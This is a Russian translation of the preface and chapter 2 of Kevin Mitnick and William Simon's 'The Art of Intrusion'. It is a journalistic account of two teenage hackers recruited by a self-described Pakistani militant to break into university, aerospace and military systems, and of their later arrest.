Кевин Митник, Вильям Саймон

Искусство вторжения

  Предисловие

Все хакеры — и самые молодые и не очень — постоянно соревнуются друг с другом. Один из крупных призов в этом соревновании — возможность похвалиться проникновением на Интернет-сайт моей (Кевина Митника) компании, занимающейся безопасностью, или же на мой сайт.
Другой приз — хакерская история, рассказанная мне или моему соавтору Биллу Саймону так убедительно, чтобы мы, поверив в ее истинность, включили ее в эту книгу.
Все это представляло собой увлекательное занятие, игру умов, которой мы предавались долгое время, проводя многочисленные интервью для написания этой книги. Для большинства журналистов и авторов установление личности говорящего — дело совсем простое: действительно ли это тот человек, за которого себя выдает? Действительно ли он работает на ту компанию. о которой говорит? Действительно ли он занимает в ней тот пост, на который претендует? Есть ли у него документальные подтверждения рассказанной истории, и могу ли я удостовериться в их подлинности? Есть ли заслуживающие доверия свидетели всей его истории или хотя бы ее части?
Для хакеров ответить на эти простые вопросы совсем не так легко. Большинство из людей, чьи истории приведены в этой книге (за исключением тех немногих, кто уже сидит в тюрьме), должны были бы подвергнуться судебному преследованию, если бы их личность была установлена. Поэтому не надо пытаться узнать подлинные имена рассказчиков или искать доказательства изложенных фактов.
Все эти люди поделились своими историями только потому, что полностью доверяли мне. Они знали, что на меня можно положиться, и я их не предам. Именно поэтому, несмотря на весь риск, они рассказали о своих хакерских «достижениях».
Тем не менее, нельзя забывать о том, что рассказчики иногда кое-что преувеличивают, — для большей убедительности, а может быть, и вся история — выдумка, но построена на таких правдивых деталях, что выглядит правдой.
Осознавая, что такой риск есть, в процессе всех интервью я проверял достоверность каждой детали, требуя подробных доказательств тому, что вызывало хоть какое-то подозрение. и требуя повторных рассказов, чтобы удостовериться, что рассказанная второй раз история звучит в точности так же, как и в первый. У меня подозрения вызывало даже то, что рассказчик порой не мог вспомнить важные детали, или же объяснить, как он попал из точки А в точку В.
Если я специально не оговариваю в какой-то части истории, что она выдумана, значит — это правда. Мы с моим соавтором включили в эту книгу только истории тех рассказчиков, кому могли доверять. Тем не менее, мы часто меняли некоторые детали, чтобы защитить не только хакеров, но и их жертвы.
В то же время надо понимать, что производители ПО и оборудования постоянно повышают уровень безопасности, поэтому большинство из описанных здесь «лазеек» в системах безопасности уже устранены. Это может породить иллюзию того, что поскольку они устранены, то читателям и их компаниям не о чем беспокоиться. Однако мораль этих, историй, независимо от того, произошли они шесть месяцев или шесть лет назад, заключается в том, что хакеры находят новые и новые лазейки каждый день. Читая эту книгу, думайте не о том, чтобы изучить конкретные уязвимые места тех или иных устройств. а как изменить ваш подход к проблеме безопасности и приобрести новый опыт.
Думаю, в процессе чтения книги вы испытаете удивление, восторг и даже восхищение фантастическими ухищрениями этих невероятно изобретательных хакеров.
Некоторые из них могут вас шокировать, другие — откроют глаза, а третьи — заставят рассмеяться над находчивостью этих ребят. Если вы профессионал в области информационных технологий (ИТ) или обеспечения безопасности, каждая из историй станет для вас своеобразным уроком того, как повысить уровень безопасности в вашей компании. Если же вы не имеете отношения к технике и просто любите детективы, истории о рисковых и мужественных парнях, то все это вы найдете на страницах этой книги.
В каждой из рассказанных историй ее герои постоянно существуют под страхом того, что полицейские или агенты службы безопасности постучат в дверь с наручниками наготове. И довольно часто именно так и происходит.
Для тех, кому повезло, остается возможность попадать в новые истории. Как правило, участники событий, описанных в этой книге, никогда о них не рассказывали. Большинство из приключений, о которых вы прочтете, видят свет впервые.

Глава 2.
  Когда   террорист   звонит

Я не знаю, почему я продолжал работать с ним. Природная склонность? Жажда наживы? Стремление к власти? Я могу перечислить целый ряд причин.

    neOh

Двадцатилетний хакер comrade (для непосвященных, если таковые вдруг читают эту книгу, — Comrade, neOh, и др.. — это так называемые «никнеймы», то есть псевдонимы, используемые в Сети —  прим.ред  ), теперь проводит свои дни в компании брата, в принадлежащем им доме, в красивом районе Майами. С ними живет и их отец, но это лишь потому, что брат еще несовершеннолетний, и Служба охраны детства настаивает на том, чтобы в доме жил взрослый человек, пока младшему ребенку не исполнится 18 лет Братьев это не особенно волнует — у папаши есть свое жилье, куда он и отправится, когда придет время.
Мама Comrade скончалась два года н а з а д , оставив дом сыновьям, поскольку с отцом мальчиков они были в разводе. Она оставила им и немного денег. Его брат посещал колледж, a Comrade «просто болтался». Членам его семьи это не нравилось, но по его словам, «его это не колыхало». Когда вы уже побывали в тюрьме в очень юном возрасте, став самым юным хакером, посаженным туда, этот печальный опыт смещает вашу шкалу ценностей.
Хакерство не знает границ, поэтому нет никакой проблемы в том, что друг Comrade, хакер neOh, находится на расстоянии трех тысяч миль от него. Их сдружило хакерство, хакерство привело их на тот скользкий путь, идя по которому, взламывая важные компьютерные системы, желая или не желая этого, они, вполне возможно, сыграли на руку международному терроризму. В наши дни это особенно тяжело осознавать.
neOh на год старше Comrade, и, по его словам, «пользовался компьютером с того момента, как смог дотянуться до клавиатуры». У его отца был компьютерный магазин, и он всегда брал сына на встречи с клиентами; мальчик сидел на коленях у отца во время переговоров. В возрасте одиннадцати лет он написал программу управления базой данных для отцовского бизнеса.
Однажды в руки neOh попалась книга «Takedown» (Hyperion Press, 1996). которая представляет собой крайне некорректное изложение моих собственных хакерских попыток в течение трех лет и погони ФБР за мной. neOh был совершенно захвачен этой книгой.
«Т ы меня просто вдохновил. Ты стал моим долбаным наставником. Я прочел все, что только смог достать о твоих делах. Я хотел стать знаменитостью, как и ты».
Это и привело его на путь хакерства. Он украсил свою комнату компьютерами и сетевыми узлами, водрузил шестифутовый пиратский флаг, и решил отправиться по моим стопам.
neOh начал постигать мастерство хакера. Сначала пришло умение, потом — осторожность. Используя хакерскую терминологию, он поясняет: «Вначале, по хакерскому малолетству (рассказчик употребляет забавное слэнговое выражение „skript kiddie“ — что буквально означает „скриптомалышки“ —  прим. ред.), я залезал на другие Интернет сайты и размещал на них мой адрес электронной почты». Он тусовался на сайтах IRC (Internet Relay Chat) — специальных местах в Интернете, где люди с общими интересами могут встречаться и обмениваться информацией в режиме реального времени с другими такими же любителями поговорить — рыбаками, собирателями антикварных аэропланов, домашними пивоварами или еще тысячей групп любителей того или иного занятия, включая хакерство. Вы можете напечатать любую мысль на IRC-сайте и все, находящиеся на этом сайте, могут прочесть ее и ответить. Мало кто из участников таких переговоров знает, что все они записываются и сохраняются в памяти ПК. В подобных записях уже не меньше слов, чем в Библиотеке Конгресса США, и, несмотря на отсутствие в них глубокого смысла, через годы и даже десятилетия они могут быть прочитаны.
Comrade часто тусовался на некоторых таких сайтах и поддерживал удаленную дружбу с neOh. Хакеры часто образуют подобные альянсы для обмена информацией и организации групповых атак. neOh, Comrade и еще несколько их приятелей решили создать группу под названием «Эльфы Киблера». Три организатора позволяли рядовым членам группы участвовать в переговорах, но не посвящали их в свои планы относительно будущих атак. « М ы залезали на правительственные сайты исключительно для удовольствия». — говорит Comrade. По его оценке, они взломали таким образом «несколько сотен» правительственных сайтов.
IRC-сайты становятся местом сбора различных хакеров. Один из них, под названием Efnet, как говорил Comrade, был «не то, чтобы компьютерный андерграунд — это просто большая группа серверов». Но в Efnet были каналы куда менее известные, такие места, куда самостоятельно ни за что не попасть — нужно, чтобы кто-то знающий и доверяющий вам показал вам дорогу. Вот это, по словам Comrade, и был андерграунд.
  ТЕРРОРИСТ   ХАЛИД   ЗАКИДЫВАЕТ   НАЖИВКУ
В 1998 году на этих «каналах андерграунда» Comrade стал встречать человека, который тусовался под именем RahulB. (Позднее он стал использовать имя Rama3456). «Он был из разряда тех, кто подбивает хакеров взламывать правительственные и военные компьютеры — сайты с расширениями .gov и .mil», — вспоминал Comrade. — «Ходили слухи, что он сотрудничает с Бен Ладеном. Это было до 11 сентября 2001 г., поэтому это имя еще мало кто знал».
Достаточно случайно пути Comrade пересеклись еще с одним загадочным человеком, которые представлялся как Халид Ибрагим. «Я разговаривал с ним несколько раз (на сайте IRC) и один раз по телефону». У мужчины был иностранный акцент, и было понятно, «что это соединение с очень далекой страной».
Общался с этим человеком и neOh, но с ним Халид был более прямым и конкретным.
«Где-то в 1999 году я связался по электронной почте с человеком, который назвался боевиком из Пакистана по имени Халид Ибрагим. Он сказал, что работает на пакистанскую повстанческую армию».
А действительно ли до 9 сентября для завоевания сердец наивных молодых хакеров надо было представляться террористом? На первый взгляд такое предположение выглядит совершенно абсурдным. Впоследствии этот человек утверждал, что ходил в обычную американскую школу, немного интересовался хакерством и просто был в их компании. На самом деле, он имел довольно верное представление об образе мыслей и психологии хакеров. Каждый хакер в некоторой степени — отщепенец, смутьян, живущий по отличным от общепринятых стандартам и наслаждающийся борьбой с системой. Если вы хотите привлечь внимание хакеров к себе, вам стоит сказать, что вы такой же бунтарь, нарушающий правила, и эта позиция аутсайдера будет совсем не глупой. Вполне возможно, что она сделает вашу историю более убедительной, а ваших собеседников менее подозрительными и сомневающимися.
И, наконец, немаловажную роль играют деньги. Халид предложил neOh тысячу долларов за проникновение в компьютерную сеть китайского университета — место, которое neOh называет MIT в Китае — и копирование для него базы данных студентов. Вероятно, это была проверка на профессиональную пригодность neOh — не только его хакерских талантов, но и изобретательности: как удастся ему проникнуть в компьютерную систему, если он не понимает языка этой страны? Как применить таланты социальной инженерии там, где ты не знаешь языка?
Как оказалось, для neOh языковая проблема даже не возникла. Он начал тусоваться на сайтах IRC, где часто бывали члены группы gLobaLheLL, где он нашел студента-компьютерщика из нужного ему университета. Он вступил с ним в контакт и попросил достать несколько имен и паролей пользователей. Эта информация была предоставлена ему очень быстро — хакеры не задают друг другу вопроса «зачем», neOh быстро понял, что систему компьютерной безопасности в университете можно описать словами от «ужасная» до «слабая», что было странно для университета с большим числом технологических и инженерных факультетов — они обязаны были бы знать это дело лучше. Большинство студентов выбирали в качестве своих паролей имена, аналогичные их именам пользователей — то же самое слово или фразу.
Полученный им список студентов позволил neOh заняться путешествиями по недрам Интернета, которые хакеры называют специальным термином «sniffing» (можно перевести, как вынюхивание. отсюда sniffer — «нюхач» —  прим. переводчика  ). В конце концов, он отыскал студента, которого мы назовем Чанг, посещавшего сайты в США, откуда он перекачивал информацию. Среди этих сайтов был такой, откуда можно было брать компьютерные программы. Чтобы вступить в контакт с Чангом, ему пришлось узнать несколько сдвиговых словечек, характерных именно для этого университета. Это оказалось сделать легче, чем кажется. Затем он вступил в контакт с Чангом. используя такой адрес и пароль, чтобы казалось, что он находится в компьютерной лаборатории университета.
«Я из корпуса 213», — послал он сообщение Чангу, и спросил у него имена и адреса электронной почты студентов, что выглядело совершенно естественно, поскольку студенты всегда хотят расширить круг своего общения. Поскольку, как уже было сказано, пароли большинства студентов были предельно просты, никакого труда не составило просмотреть их файлы.
Очень скоро он смог послать Халиду базу данных с сотней студенческих имен. «Я ему передал это, а он сказал: „я получил все, что хотел“. Халид был удовлетворен; естественно, ему не нужны были эти имена, он просто хотел убедиться в том, что neOh может получить доступ к информации, даже находясь на большом удалении от ее источника. „Именно тогда начались наши взаимоотношения“, — подытоживает neOh. „Я мог делать работу, он понял, что я могу делать работу и начал давать мне другие задания“.
Халид сказал neOh почаще заглядывать в почтовый ящик, где должен был появиться конверт с тысячью долларов, и начал звонить ему по сотовому телефону примерно раз в неделю, «обычно, когда он был за рулем». Следующим заданием стало проникновение в компьютерную систему Атомного исследовательского центра BhaBha в Индии. Местом для проникновения была выбрана рабочая станция компании Sun Microsystems, хорошо знакомая каждому хакеру. neOh достаточно легко проник в нее, но быстро понял, что в ней не содержится ничего интересного, машина не была присоединена ни к какой сети. Казалось, что Халид нисколько не был разочарован этим.
Деньги за китайский университет все не приходили. Когда neOh спросил об этом. Халид был удивлен. «Ты еще не получил их? Я послал тебе наличные в поздравительном письме!» — настаивал он. Постоянное повторение: «твои деньги в письме» звучало фальшиво, и все же neOh решил продолжить выполнение задания. Почему? Вот как он вспоминает об этом сегодня.
«Я решил продолжить, поскольку я упрямый. Мне очень нравилось думать, что мне заплатят хорошие деньги за подобную работу. Я думал, может быть, письмо действительно затерялось, и он заплатит мне на этот раз.
Я не знал, почему я продолжал работать с ним. Природная склонность? Жажда наживы? Стремление к власти? Можно перечислить целый ряд причин».
Давая задания neOh, Халид искал на IRC-сайтах и других желающих поучаствовать в его работе. Comrade был готов к этому, хотя не хотел получать деньги за свою работу.
«Я понимал, что Халид платит людям, но я никогда не хотел продавать информацию за деньги. Я всегда думал, что пока я просто развлекаюсь, но если я начну получать за это деньги, то стану настоящим преступником. Я был готов пообщаться с ним на IRC, дать ему несколько адресов, но — не больше».
Журналист Нэйл Маккей беседовал с другой «рыбкой», которую Халид поймал в свои сети, с юношей из Калифорнии по кличке Chameleon (который сейчас основал очень успешную компанию, занимающуюся безопасностью). Маккей изложил свою историю на сайте wired.com [1] с некоторыми дополнениями, которые сделали neOh и Comrade. «Я был на сайте IRC, когда этот парень сказал, что ему нужны программы DEM. у меня их не было, и я тогда еще не знал этого парня», — вспоминает хакер. Но это желание Халида было уже достаточно серьезным: «DEM» — это название информационной системы Министерства обороны — Defense Information Systems Network Equipment Manager. Эта программа была захвачена группой хакеров Masters of Downloading («Мастера загрузки») и в среде хакеров ходили слухи, что ее можно получить, если обратиться к нужным людям. Никто не знал — добрался Халид до нее или нет, во всяком случае, никто не упоминал об этом. На самом деле никто не был уверен, что эта программа имеет для Халида какую-то ценность, но он наверняка думал, что имеет. До этих пор Халид занимался безобидными играми с китайскими университетами и подобными вещами.
«Он пытался встроиться в те дела, которыми занимались ребята в этой группе», — вспоминает neOh. «Пока этого не случилось, Халид полтора года тусовался с хакерами — не случайным образом, а постоянно. Он просто всегда был где-то неподалеку, и было ясно, что это его интересует». Под словом «это» neOh понимает проникновение на военные сайты или в коммерческие компании, занимающиеся военными проектами.
Халид попросил neOh проникнуть в компанию Lockheed Martin и получить схемы определенных систем самолетов, которые были сделаны для компании Boeing. neOh проник на определенный уровень в систему компании Lockheed — «на три ступени во внутреннюю сеть», но глубже второго уровня безопасности ему проникнуть не удавалось (этот уровень сотрудники систем безопасности называют « D M Z » — что означает демилитаризованная зона или «земля без людей»). Этого было явно недостаточно, чтобы проникнуть за защитный экран, который охранял самую ценную информацию компании, поэтому ему не удалось раздобыть заказанные сведения.
« Х а л и д был раздражен. О н сказал: « Т ы больше н а м е н я н е работаешь.
Ты ни на что не способен». Но потом он обвинил меня в нечестности. Он сказал, что я придерживаю информацию для себя. Потом он сказал: «Забудь про Lockheed Martin. Проникай прямо в Boeing».
neOh обнаружил, что «Boeing совсем не так уж хорошо защищен, если вы хотите в него проникнуть». По его словам, ему удалось проникнуть в систему компании Boeing, используя достаточно известную лазейку со стороны Интернета. Затем он установил там «нюхач» и получил возможность просматривать все пакеты данных, исходящих из компьютера — своеобразный «жучок» для прослушивания. Он мог перехватывать пароли и незашифрованные электронные письма. Из них ему удалось извлечь достаточно информации для того, чтобы проникнуть во внутреннюю сеть компании.
«Я нашел шесть или семь схем самолета Boeing 747 — просто в обычных письмах. Незашифрованные приложения — разве это не прекрасно?! (NeOh смеется).
Халид просто пришел в экстаз. Он сказал, что заплатит м н е ч е т ы р е тысячи долларов. Но их я так и не увидел — сюрприз, сюрприз!»
На самом деле 4000 долларов было слишком много за полученную информацию. По словам бывшего специалиста компании Boeing по безопасности Дона Боэлинга, подобное проникновение вполне могло было быть реализовано. Но это была пустая трата времени: после того, как самолет поступает в коммерческую эксплуатацию, все авиалинии. на которых он работает, получают полный комплект его чертежей. После этого информация перестает быть секретной; ее может получить каждый, кто стремится это сделать. «Я видел CD со всеми чертежами Boeing-747 на аукционе eBay недавно», — говорит Дон. Вероятно, Халид просто не знал этого. Впрочем, никто не знал этого еще два года, пока вся страна не обнаружила, что у террористов были важные причины получить в свое распоряжение чертежи транспортных самолетов, летающих на авиалиниях США.
  ЦЕЛЬ   НА   ВЕЧЕР  :   SIPRNet
С Comrade Халид не утруждал себя проверками. Хакер говорит, что с самого начала Халида «интересовали только военные и SIPRNet».
«Он всегда был не слишком конкретен в своих запросах — просто доступ к правительственным и военным сайтам. За исключением S I P R N e t . Он действительно хотел получить информацию о SIPRNet».
И это была достойная мишень. SIPRNet — это была часть DISN, Defense Information System Network (Сеть оборонной информации), которая содержала важные сведения. SIPRNet — сокращение от Secret Internet Protocol Router Network (секретный Интернет-протокол маршрутизатора сети) — это ядро управления для американской армии.
neOh уже отказался от предложения Халида проникнуть в SIPRNet:
« О н предложил две тысячи долларов. Я отказался. Е с л и бы я проник в SIPRNet, федеральная полиция оказалась бы у моих дверей. Две тысячи долларов — недостаточная цена за пулю в голове».
К тому моменту Халид уже переговорил с Comrade об этой работе, цена ее быстро возрастала. «Он сказал, что готов заплатить 10 000 долларов за доступ» — вспоминает Comrade, и это было более достойное предложение, чем сделанное neOh, хотя Comrade настаивает, что им двигало только чувство спортивного азарта, но уж никак не деньги.
«Я подошел совсем близко к S I P R N e t . Я проник в компьютерную систему D I S A (Defense Information Security Agency — Агентство по информационной безопасности м и н и с т е р с т в а обороны). Э т о б ы л превосходный компьютер с четырьмя процессорами, около двух тысяч пользователей работало с ним, на н е м было около п я т и т ы с я ч Unix-хостов и половина из них б ы л а привилегированными; чтобы попасть в них, вы должны были зайти именно с этого компьютера, извне в них попасть было просто невозможно».
Осознав это, Comrade понял, что целью Халида является нечто действительно серьезное. Главной задачей DISA была поддержка управления военными действиями — здесь ее функции перекрывались с SIPRNET. Но активность хакера была быстро пресечена.
«Прикольно было иметь все эти коды, но я не успел поиграть с ними.
Уже на четвертый день я попался».
  ТРЕВОЖНЫЕ   ДНИ
В канун Рождества в 1999 году neOh и Comrade испытали серьезную встряску. Самолет индийских авиалиний IC-814 во время рейса из Катманду в Нью-Дели со 178 пассажирами и 11 членами экипажа на борту был захвачен террористами. Как сообщали выпуски новостей, это были пакистанские террористы, связанные с движением Талибан, к которому принадлежал и Халид, по его словам.
По приказу террористов, Airbus A300 проследовал по сложному маршруту на средний Восток и обратно, приземлившись ненадолго в Индии, Пакистане и Арабских Эмиратах, где было оставлено тело убитого пассажира, молодого человека, возвращавшегося домой со своей женой после медового месяца. Он был приговорен к смерти лишь за то, что отказался надеть на глаза повязку.
Потом самолет приземлился в Кандагаре (Афганистан), что еще яснее обозначило связи террористов с движением Талибан. Оставшиеся пассажиры и экипаж удерживались на борту восемь ужасных дней и были освобождены в обмен на освобождение трех военных преступников. Один из освобожденных. Шейх Умер, потом будет играть заметную роль в финансировании Мохаммеда Ата, организатора атак 11 сентября на башни торгового центра в Нью-Йорке.
После угона самолета Халид сообщил neOh, что его группа и он сам берут на себя ответственность за эту акцию.
«Это напугало меня до смерти. Он был совсем плохой парень. Я чувствовал, что мне пора спасать свою задницу».
Однако его испуг причудливо сочетался с мальчишеским упрямством: «Я все еще надеялся, что он заплатит мне причитающиеся мне деньги».
Связь с угоном самолета добавила горючего в тот огонь, который разжигал Халид. Разочарованный тем, что не всегда хакеры могли достать ему требуемую информацию, Халид перешел к тактике сильного давления. В уже упомянутой статье для Wired.com журналист Нэйл Маккей писал, что он видел, как на сайте IRC Халид угрожал убить собеседников, если они сообщат о нем в ФБР. Маккей писал, что он видел и такое письмо от п а к и с т а н ц а : «Я хочу знать, говорил ли кто-нибудь полицейским обо мне?». И еще одно письмо в другом месте: «Передай им, если они сделали это. то они уже мертвецы. Я наведу на них снайперов». [2]
  COMRADE   АРЕСТОВАН
Ситуация была паршивой, и со временем она становилась только хуже. Через несколько дней после успешного проникновения Comrade в систему, связанную с SIPRNet, его отца остановили на улице полицейские. Они сказали «М ы хотим побеседовать с вашим сыном» и показали ему ордер на обыск. Comrade вспоминает:
«Там были люди из НАСА и ФБР. Всего их было человек десять-двенадцать, плюс еще несколько полицейских. Я действительно проникал на некоторые сайты НАСА, я установил свой „нюхач“ на сайте ns3.gtra.mil для того, чтобы получить нужные мне пароли. Для этого мне пришлось просматривать всю электронную почту. Пришедшие сказали мне, что я обвиняюсь в нелегальном прослушивании, нелегальном проникновении в компьютеры НАСА, а также других вещах.
Буквально за день до этого, мой приятель сказал мне: «Старина, нас скоро схватят». Видно было, что он уже свыкся с этой мыслью, Я согласился с ним: «Да, они наверняка нас выследили». Поэтому я удалил все файлы с диска в компьютере».
Однако Comrade, как обычно, все делал небрежно, и забыл удалить файлы со старых дисков, которых было немало на его столе. «Они допрашивали меня, я соглашался с их обвинениями. Я сказал: „Я очень сожалею обо всем, что я сделал. Как нам все это уладить? Я обещаю больше так не поступать“. Казалось, что они были довольны: „ В с е хорошо, мы не считаем в а с преступником, никогда больше не делайте этого. Е с л и вы еще раз так поступите, то окажетесь в наручниках“. Они забрали с собой все мои компьютеры, периферийные устройства, запасные жесткие диски и ушли».
Через некоторое время они попросили у Comrade пароли к его жестким дискам. Он не дал пароли, тогда они сказали, что без проблем найдут их самостоятельно. Comrade был спокоен: он использовал схему PGP-шифрования и его пароль был «длиной в сто символов». При этом он говорил, что его не так сложно запомнить — это были три его любимые цитаты, написанные одна за другой.
Comrade не слышал о них больше шести месяцев. Затем однажды он узнал, что правительство собирается выдвинуть против него обвинения. Когда он оказался в суде, то был ошарашен тем, в чем его обвиняют — это был вывод компьютеров Н А С А из строя на три недели и перехват тысяч электронных писем министерства обороны.
(Между тем «вредом», который фигурирует в обвинении и реальным вредом, нанесенным обвиняемым, есть большая разница. Comrade перегружал себе программы из Центра управления полетами Н А С А имени Маршалла в Алабаме, который занимался исключительно контролем температуры и влажности на международной космической станции; правительство же инкриминировало ему вывод из строя на три недели всей компьютерной системы Н А С А . Утверждение об атаке Министерства обороны было более осмысленным: Comrade проник в компьютерную систему Агентства по снижению угроз и установил там специальную программу, которая у хакеров называется «черный ход», это позволяло ему проникать туда в любой момент).
По мнению правительства, случай заслуживал самого серьезного рассмотрения, как предупреждение для других несовершеннолетних хакеров. О нем планировалось рассказать в прессе, как о случае наказания самого юного хакера за серьезные преступления. Генеральный прокурор Джанет Рено даже сделала специальное заявление: «Этот случай станет первым, когда такой юный хакер будет заключен в тюрьму, мы хотим продемонстрировать, что считаем проникновение в компьютерные системы серьезным преступлением и вместе с нашими коллегами будем активно этому противодействовать".
Судья приговорил Comrade к шести месяцам заключения в тюрьме и шести месяцам последующего пребывания под наблюдением инспектора (приговор должен быть вступить в силу после окончания учебного года). Мать Comrade в то время была еще жива; она наняла нового адвоката, написала кучу прошений, напирая на то, что ее сын «стал другим человеком», и, как это не удивительно, она добилась пересмотра приговора до домашнего ареста и четырех лет нахождения под наблюдением.
Однако, в жизни мы не всегда используем шанс исправиться. «Я посидел под домашним арестом, потом перешел под наблюдение инспектора. Я начал бегать по вечеринкам и они отправили меня на реабилитацию». После реабилитации Comrade получил работу в Интернет-компании и даже организовал свой небольшой Интернет-бизнес. Но при этом ему далеко не всегда удавалось встретиться со своим инспектором, поэтому его все-таки отправили в тюрьму. Тогда ему было всего шестнадцать лет, а приговор он получил в возрасте пятнадцати лет.
В федеральных тюрьмах США совсем немного столь юных заключенных; поэтому место в Алабаме, куда его направили, правильнее было бы назвать «колонией»; кроме него там находилось еще десять заключенных и, по словам Comrade, оно выглядело «как школа, правда, с закрытыми дверями и колючей проволокой, но совсем непохожая на тюрьму». Ему даже не приходилось заниматься уроками, поскольку он уже прошел школьный курс.
Вернувшись в Майами, Comrade опять должен был находиться под постоянным контролем инспектора и ему выдали список хакеров, с которыми ему запрещено было общаться. «В этом списке были перечислены „тот парень“, „этот парень“ и neOh». Имя neOh было указано потому, что правительство знало его только под этой кличкой. «Они не представляли, кто он на самом деле. Если я мог проникнуть в две сотни систем, то он мог это сделать с тысячью», — говорит Comrade. «neOh был крутым хакером». До сих пор американская Фемида не смогла ни узнать его имени, ни определить его местонахождение.
  В   ПОИСКАХ   ХАЛИДА
Был ли Халид действительно военным, как он утверждал, или же он просто морочил головы несовершеннолетним хакерам? Или же это была провокация ФБР, направленная на то, чтобы узнать, как далеко могут зайти юные хакеры? В тот или иной момент времени каждый из хакеров, кто общался с Халидом, подозревал, что он не военный: ребят гораздо меньше волновало то, что они передают информацию иностранному шпиону, чем то, что он, возможно, обманывает их. Comrade признавался, что «размышлял очень долго над тем, кто такой Халид. Я не знал — был ли он реальным человеком или провокатором от правительства. Говоря с ним и с neOh, я решил, что он все-таки реален. Но я никогда не брал у него денег — это барьер, который я не хотел переступать». (Чуть раньше в нашем разговоре, когда он впервые упомянул про десять тысяч долларов, что ему предложил Халид, было понятно, что его эта сумма впечатлила. Действительно ли он отказался бы от нее, если бы его попытка кончилась удачей, и Халид заплатил ему? Наверное, даже сам Comrade не смог бы дать ответа на этот вопрос).
По словам neOh, Халид «звучал абсолютно профессионально», он сомневался лишь в его причастности к боевым формированиям. « В с е время, пока я общался с ним. я подозревал, что все это обман. Но потом вместе с приятелями, к которым он также обращался и давал другую информацию, мы пришли к единому мнению, что он именно тот, за кого себя выдает».
Еще один хакер — SavecOre, дружески общался на IRC с человеком, который говорил, что его дядя работает в ФБР и обеспечивает неприкосновенность целой хакерской группе MilwOrm. «Я думаю, что это должно было дать понять ФБР, что мы не враждебно настроены», рассказывал SavecOre журналисту Нэйлу Маккею в интервью по электронной почте. «Поэтому я дал ему свой номер телефона. На следующий день мне позвонил так называемый агент ФБР, но у него был чудовищный пакистанский акцент».
«Он сказал, что его зовут Майкл Гордон и что он из отделения ФБР в Вашингтоне», — рассказывал SavecOre журналисту «Я понял, что это восточный человек». Пока кое-кто из хакеров рассуждал, не может ли этот террорист быть подсадной уткой ФБР SavecOre пришел к противоположному выводу: что человек, претендующий на роль агента ФБР был тот же террорист, проверяющий, не хотят ли ребята его «заложить».
Все что происходило, не было похоже на операцию ФБР по одной простой причине. Если бы правительство действительно хотело узнать, на что способны юные хакеры, то оно выделило бы деньги на эту операцию. Когда ФБР подозревает, что ситуация достаточно серьезна для того, чтобы предпринимать реальные шаги, с деньгами задержки быть не может. Обещать neOh тысячу долларов и не платить не имело никакого смысла.
На самом деле только один хакер — Chameleon — получил от Ха-лида хоть какие-то деньги. «Однажды утром я нашел в своем почтовом ящике чек на тысячу долларов и просьбу позвонить в Бостон», Chameleon был тем хакером, который рассказал одну интересную историю в журнале Wired (в номере от 4 ноября 1998 г.). Из нее Халид узнал, что у него есть схемы правительственных компьютерных сетей и чек был платой за эти карты. Chameleon обналичил свой чек. Через две недели его задержали агенты ФБР и допрашивали его по поводу этого чека. Он был в совершенном недоумении, как правительство узнало об этой тысяче долларов. Это было еще до трагических событий 11 сентября, когда ФБР активизировало свою деятельность внутри страны, и отслеживало все ниточки, которые могли привести к террористам. Chameleon признал, что получил деньги, но в интервью журналисту настаивал, что не передавал никому схем правительственных сетей.
Хотя он признался в том, что принял деньги от иностранного террориста, что могло привести к обвинению в шпионаже, и ему светило очень долгое заключение, никаких обвинений ему выдвинуто не было, что делало случай еще более загадочным. Вполне возможно, что правительство просто хотело предупредить хакерское сообщество, что иметь дело с иностранными шпионами рискованно. Может быть даже, чек пришел Chameleon не от Халида, а от ФБР.
Мало кто знает настоящее имя Chameleon, и он стремится как можно дольше продлить такое положение вещей. Мы хотели услышать его версию этой истории. Он отказался говорить на эту тему (выдавив из себя только то. что он принимал Халида за сотрудника ФБР, выдающего себя за террориста). Если бы я был на его месте, скорее всего, я бы тоже не хотел говорить о той истории.
  «ХАРКАД  УЛЬ  -  МУДЖАХИДДИН»
Исследуя записи на IRC-сайтах, журналист Маккей обнаружил, что однажды Халид представился молодым хакерам, как член организации «Харкад уль-Ансар» [3] . По данным обзора разведки по Юго-Восточной Азии, так называлась антиамериканская террористическая организация, связанная с саудовским террористом Осамой бен Ладеном еще с 1997 года. Чтобы избежать проблем со стороны США
в 1998 году группа была переименована в «Харкад уль-Муд-жахиддин» [4] .
Государственный департамент США неоднократно предостерегал всех об опасности этой группы. Одно из обращений звучало так: «Пакистанские официальные лица сообщили, что после налета американских самолетов 23 октября 2001 года было убито 22 пакистанских партизана, которые сражались рядом с бойцами Талибана около Кабула. Все убитые были членами „Харкад уль-Муджахиддин“ — организации, которая была внесена в официальный список террористических организаций Государственного Департамента в 1995 году» [5] .
На самом деле «Харкад» сегодня — это одна из 36 групп, называемых Госдепартаментом иностранными террористическими организациями. Другими словами, правительство США считает их самыми плохими существами на планете.
Естественно, молодые хакеры ничего об этом не знали. Для них все, что они делали, было игрой.
Что касается Халида, то генерал-майор вооруженных сил Индии, выступая с лекцией на тему информационной безопасности в апреле 2002 года, подтвердил, что есть такой террорист, говоря о связях хакеров с «Халидом Ибрагимом из пакистанской организации „Харкад уль-Ансар“ [6] . Генерала заботило то, что Халид располагался не в Пакистане, а на родине генерала — в Дели (Индия).
  ПОСЛЕДСТВИЯ   11   С  Е  Н  Т  Я  Б  Р  Я   (9/11)
Хакеры всегда манипулируют и обманывают. Они дурят компьютерные системы, заставляя их думать, что у них есть авторизация, которую они на самом деле украли, они используют методы социальной инженерии, чтобы манипулировать людьми для достижения своих целей. Поэтому, разговаривая с хакером, надо внимательно слушать, что он говорит и то, как он это говорит, чтобы попытаться понять, можно ли ему верить. Иногда до конца понять это невозможно.
Мы с моим соавтором не уверены в том, что neOh искренне говорил нам о своей реакции на 9/11. Мы изо всех сил старались понять его ощущения:
«Вы знаете, как я рыдал в тот день? Я чувствовал, что моя жизнь окончена».
Эти слова сопровождались нервным смешком — что он означал? Мы незнаем.
« Е с л и подумать, то я должен был что-то с д е л а т ь с этим. Е с л и бы я попал в Lockheed Martin или Boing и получил там больше информации, то они могли бы ее использовать. Это было страшное время не только для Америки, но и для меня.
Я плакал, потому что не хотел им помогать. Они меня наняли за мой талант, но если я хоть немного причастен к тому, что случилось  с башнями Торгового центра… Э т а мысль просто убивала меня!
На самом деле у меня три друга погибли в тот ужасный день, мне никогда не было так плохо».
